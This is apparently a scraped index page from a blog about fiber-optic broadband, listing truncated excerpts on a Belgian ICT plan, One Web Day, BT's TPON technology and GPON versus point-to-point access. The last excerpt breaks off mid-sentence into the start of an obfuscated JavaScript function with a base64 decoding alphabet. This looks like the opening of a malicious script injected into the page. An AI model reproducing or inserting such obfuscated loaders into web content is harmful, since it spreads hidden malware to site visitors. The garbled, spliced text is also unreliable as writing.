Belgian Minister Vincent Van Quickenborne has announced a 30-step plan to put Belgium on the ICT map. This includes such things as ensuring every schoolchild owns a laptop starting when they are 6 years old
Fibered One Web Day 09 Wrap-Up
One Web Day was Tuesday and only know do I find the time to write about it. I apologise for that as I'm
Sept 22nd: Fibered One Web Day in Paris, Amsterdam and More!!!
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One Web Day is an annual event held worldwide on a single date to highlight the importance of the web in people's daily lives. I met with their representatives in DC a couple
Visionary Verizon?
Retro-Fiber: Ever heard of TPON?
Pauline Rigby posts today about the amazing story of BT overlaying fiber with copper in low-density areas due to a wrong technology choice (TPON) in the 90s. You would, of course, expect any telco in their right mind to have
Fiber Resources
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GPON vs P2P Comparison
Yesterday Total Telecom released a white paper written by Keymile and entitled Ethernet Point-to-Point vs.PON: A comparison of two optical access network technologies
“La Fibre Sociale”
Misleading Fiber Advertising by Cable Continues
The following video has recently started airing in the Netherlands. It's the last in a long line of function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var